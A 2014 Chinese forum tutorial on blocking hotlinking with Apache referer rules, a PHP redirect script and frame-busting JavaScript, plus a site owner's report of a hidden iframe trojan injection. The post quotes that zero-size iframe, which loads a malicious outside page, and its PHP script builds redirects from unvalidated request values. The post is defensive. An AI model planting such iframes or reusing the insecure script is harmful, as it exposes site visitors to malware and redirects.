TShopping

 找回密碼
 註冊
搜索
查看: 7819|回復: 3
打印 上一主題 下一主題

[教學] 防盜連及駭客iframe攻擊模式

[複製鏈接]
跳轉到指定樓層
1#
發表於 2014-2-7 20:07:41 | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式
 
Push to Facebook
原著:http://bbs.ecshop.tw/thread-593-1-1.html

一.網站防盜連
首先,防盜連只防君子不防小人,所以認真說還是有辦法被破解
                在 Apache 中可以用 .htaccess 來做一些簡單的安全性、認證相關的設定。
開啟 httpd.conf 後,將下面這行修改一下,再新啟動 Apache
AllowOverride None 改成 AllowOverride All

防盜連常見方法一
轉自PCZONE
那麼請在.htaccess檔案加入下面
(以下這樣設定代表:除了自己網站以及PCZONE網站,其他網站仍無法盜連你站內的資料)
  1. SetEnvIfNoCase Referer "^http://www\.pczone\.com\.tw/" local_ref=1
  2. SetEnvIfNoCase Referer "^http://pczone\.com\.tw/" local_ref=1
  3. SetEnvIfNoCase Referer "^http://自己網站/" local_ref=1
  4. SetEnvIfNoCase Referer "^http://www\.google\.com/" local_ref=1
  5. SetEnvIfNoCase Referer "^http://google\.com/" local_ref=1
  6. <FilesMatch "\.(txt|doc|gif|jpg|mp3)"> 
  7. Order Allow,Deny
  8. Allow from env=local_ref
  9. Allow from google.com
  10. Allow from 127.0.0.1
  11. Allow from 202.43.85.163 <-這個IP,是PCZONE網站的固定IP
  12. </FilesMatch>
複製代碼
另一改 httpd.conf 方法
  1. <Directory "C:/Apache2/htdocs/XXXXX">
  2. SetEnvIfNoCase Referer "^http://www\.yahoo\.com\.tw" local_ref=1
  3. <FilesMatch "\.(gif|jpg|wmv|wma|swf|rm|rmvb|mp3|mid|exe|zip)">
  4. Order Allow,Deny
  5. Allow from env=local_ref
  6. Allow from 127.0.0.1
  7. Allow from www.yahoo.com
  8. Allow from www.yahoo.com.tw
  9. </FilesMatch>
  10. </Directory>
複製代碼
讓 kuso.in/kuso/x.php 限制連 這個 php 不能直接連結.除了自己網站和yahoo
用 Location 來指出該檔案url 位置
  1. <Location /kuso/x.php>
  2. order allow,deny
  3. Allow from 127.0.0.1
  4. Allow from www.yahoo.com
  5. Allow from www.yahoo.com.tw
  6. ......
  7. </Location>
複製代碼
同理.封鎖特定的IP做這些設定
  1. <FilesMatch "\.x">
  2. order deny,allow
  3. allow from all
  4. deny from 192.168.1
  5. deny from 192.168.2.1
  6. </FilesMatch>
複製代碼

.htaccess 放的位置也會有差別,.htaccess 的作用範圍,只有放置該檔的目錄,以及其下的子目錄才會有作用。是目錄不是網址喔。如果其它的目錄已經有另外設定過權限的話,要檢查一下權限有沒有衝突。

下面是白話文-linux下 參考範例  轉自
更改前 這個是帶 rewrite 的
  1. <VirtualHost *:80>
  2.     DocumentRoot /home/www
  3.     ServerName www.yourdomin.com
  4.    <IfModule mod_rewrite.c>
  5.     RewriteEngine On
  6.     RewriteRule ^/supesite/([0-9]+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
  7.     RewriteRule ^/supesite/([0-9]+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
  8.     RewriteRule ^/supesite/([0-9]+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
  9.     RewriteRule ^/supesite/([0-9]+)/(.*)$ /supesite/index.php?$1/$2
  10.     RewriteRule ^/supesite/([0-9]+)$ /supesite/index.php?$1
  11.     RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
  12.     RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
  13.     RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
  14.     RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
  15.     RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
  16.     RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
  17. </IfModule>
  18. </VirtualHost>

  19. 改完後
  20. <VirtualHost *:80>
  21.     DocumentRoot /home/www
  22.     ServerName www.yourdomin.com
  23.     SetEnvIfNoCase Referer "^http://www.yourdomin.com" local_ref=1
  24.     SetEnvIfNoCase Referer "^http://yourdomin.com" local_ref=1
  25.    <FilesMatch "\.(txt|doc|mp3|zip|rar|jpg|gif)">
  26.        Order Allow,Deny
  27.        Allow from env=local_ref
  28.    </FilesMatch>
  29.    <IfModule mod_rewrite.c>
  30.     RewriteEngine On
  31.     RewriteRule ^/supesite/([0-9]+)/spacelist(.*)$ /supesite/index.php?$1/action_spacelist$2
  32.     RewriteRule ^/supesite/([0-9]+)/viewspace_(.+)$ /supesite/index.php?$1/action_viewspace_itemid_$2
  33.     RewriteRule ^/supesite/([0-9]+)/viewbbs_(.+)$ /supesite/index.php?$1/action_viewbbs_tid_$2
  34.     RewriteRule ^/supesite/([0-9]+)/(.*)$ /supesite/index.php?$1/$2
  35.     RewriteRule ^/supesite/([0-9]+)$ /supesite/index.php?$1
  36.     RewriteRule ^/supesite/action_(.+)$ /supesite/index.php?action_$1
  37.     RewriteRule ^/supesite/category_(.+)$ /supesite/index.php?action_category_catid_$1
  38.     RewriteRule ^/supesite/itemlist_(.+)$ /supesite/index.php?action_itemlist_catid_$1
  39.     RewriteRule ^/supesite/viewnews_(.+)$ /supesite/index.php?action_viewnews_itemid_$1
  40.     RewriteRule ^/supesite/viewthread_(.+)$ /supesite/index.php?action_viewthread_tid_$1
  41.     RewriteRule ^/supesite/index([\.a-zA-Z0-9]*)$ /supesite/index.php
  42. </IfModule>
  43. </VirtualHost>
複製代碼
防盜連常見方法補充 ~另一種防盜方法
這種我還沒試過.有試過的請發表一下
租空間的用戶,透過Apache的.htaccess來設置防盜連功能(anti hotlink),是最方便的
  1. RewriteEngine on
  2. RewriteCond %{HTTP_REFERER} !^http://yblog.org/.*$ [NC]
  3. RewriteCond %{HTTP_REFERER} !^http://yblog.org$ [NC]
  4. RewriteCond %{HTTP_REFERER} !^http://www.yblog.org/.*$ [NC]
  5. RewriteCond %{HTTP_REFERER} !^http://www.yblog.org$ [NC]
  6. RewriteRule .*\.(jpg|gif|png|bmp|rar|zip|exe)$ /content/no_hotlink.jpeg [R,NC]
複製代碼
如果你想在自己的網站主機上也使用這樣的防盜連功能,生成一個.htaccess文件放到你欲限制的目錄(根目錄最好避免,在根目錄使用的. htaccess建議用作其它用途,欲限制的目錄下才放本文設定的防盜連方式)。在Windows平台上如果發現自己無法產生.htaccess文件,可 以用記事本或其它的文字編輯軟體,另存新檔時,檔名選擇.htaccess即可
RewriteCond可指定從哪些域名來連線是許可的
RewriteRule則指定哪些附檔名類型不能被盜連(hotlink),後面可指定連結到某個錯誤訊息頁面,或是一張圖片。
如果RewriteRule這一行設定成RewriteRule \.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ - [F],則表示盜連的人,會看到403錯誤訊息,顯示禁止存取(403 Forbidden)。

防盜連的PHP代碼[轉自163.com]
  1. <?php

  2. $ADMIN[defaulturl] = "http://www.163.com/404.htm";//盜鏈返回的地址
  3. $okaysites = array("http://www.163.com/","http://163.com"); //白名單
  4. $ADMIN[url_1] = "http://www.163.com/download/";//下載地點1
  5. $ADMIN[url_2] = "";//下載地點2,以此類推

  6. $reffer = $HTTP_REFERER;
  7. if($reffer) {
  8. $yes = 0;
  9. while(list($domain, $subarray) = each($okaysites)) {
  10. if (ereg($subarray,"$reffer")) {
  11. $yes = 1;
  12. }
  13. }
  14. $theu = "url"."_"."$site";
  15. if ($ADMIN[$theu] AND $yes == 1) {
  16. header("Location: $ADMIN[$theu]/$file");
  17. } else {
  18. header("Location: $ADMIN[defaulturl]");
  19. }
  20. } else {
  21. header("Location: $ADMIN[defaulturl]");
  22. }

  23. ?>  
複製代碼
使用方法:將上述代碼保存為dao4.php,
比如測試用的validatecode.rar在站點http://163.com/download裡面,
則用以下代碼表示下載連接.  
文件名?site=1&file=文件  
EXP:
http://www.cndw.com/dao4.php?site=1&;file=validatecode.rar

防框架嵌入方法和源代碼 轉自
  1. <script type="text/javascript"><!--
  2. if ( top.location !== self.location ) {
  3. top.location=self.location;
  4. }
  5. //--></script>唯一的缺點是對禁用Javascript的瀏覽器無效,不管怎麼樣這是我看到的最好的解決辦法,在這裡強烈推薦!
複製代碼
二.駭客攻擊(iframe)
先引用資安論壇網友:
這是我的網站,因為會員反應說有木馬程式,可是我和主機商一直找不出來,想請各位幫忙
會員幫我偵出來是Troian horse病毒。
昨天有會員反應被人植入木馬程式,檢看原始碼發現多了下面代碼
  1. <iframe src="
  2. http://www.photosh.idv.tw/admin/board/_vti_cnf/index.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
複製代碼
找了一些index.htm和index.php不過都找不到這段原始碼,請問它應該是放在哪裡呢?
and再多問一個,會員向我反應後我一邊找網站檔案還是仍然找不到,一邊掃我電腦的毒不過我用了兩三個掃木馬的程式還是都掃不出來?我的網站目前被惡意放 進的程式(如上面的代碼)還沒移除,我還是一直在我的網站上東看西看,不知是程式掃不出來還是沒有中毒?請問這種情形上去的話一定會中毒嗎?因為我也沒有 安裝任何防毒軟體,只有掃毒軟體。
我剛剛下載了一個檢測伺服器木馬及惡意程式的safe程式,放在網站上執行,它說99%可以找出惡意程式,但我使用後還是都說正常....這種情形該怎麼辦呢?主機商叫我從資料庫搜尋相關字眼但也找不到~麻煩高手幫忙一下~~QQ"

請您先把資料庫的所以密碼用英數亂碼加大小寫編碼...把密碼先改過一次...然後去看是那一個論壇..使用的是那一個資料庫...搜尋 </iframe> .....就會找到你說的那些資料了..看到多少全都砍了...
通常不會只發生在你現在這個資料庫而已...還會在你主機的另外的資料庫上...
只要你的網站夠熱門...就有人會想破你的資料庫植入以上的內崁式木馬...只要到你的論壇後...他會自動連結到別的網站..就中標了.....我有幫一位朋友開一個論壇...他的密碼太過簡單而被破後...接著就所有的資料庫都被植入類似的木碼網站..

<iframe是html的內置框架,也就是會讀對方的程式進來,不過他的高跟寬都設為0所以看不見,我也遇到,除了寫html檔之外可能會寫入flash檔,感染html或是asp相關網頁的檔案..

解析iFrame攻擊手法 .請參考這裡一篇文章 計世網

可能影響 -Google搜尋你的網站出現「這個網站可能會損害你的電腦」
當遇上網路釣魚.惡意網站連結...等同時,還可能遇到 Google搜尋出現「這個網站可能會損害你的電腦」情況
以下解決方式請自行到R大 的  慢條斯理的溫柔 去看 .雖然文中只提到遭到攻擊然後植入怪怪的連結.個人猜也許是iFrame攻擊手法 .不過也許不是.但是.遇到 Google搜尋出現「這個網站可能會損害你的電腦」這種情況 ..可ˇ以參考R大方式處理

 

臉書網友討論
3#
發表於 2014-5-2 15:30:51 | 只看該作者
感謝版大 好帖要顶


4#
發表於 2014-11-26 16:23:08 | 只看該作者


  这是什么?


*滑块验证:
您需要登錄後才可以回帖 登錄 | 註冊 |

本版積分規則



Archiver|手機版|小黑屋|免責聲明|TShopping

GMT+8, 2024-4-24 20:06 , Processed in 0.206495 second(s), 22 queries .

本論壇言論純屬發表者個人意見,與 TShopping綜合論壇 立場無關 如有意見侵犯了您的權益 請寫信聯絡我們。

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回復 返回頂部 返回列表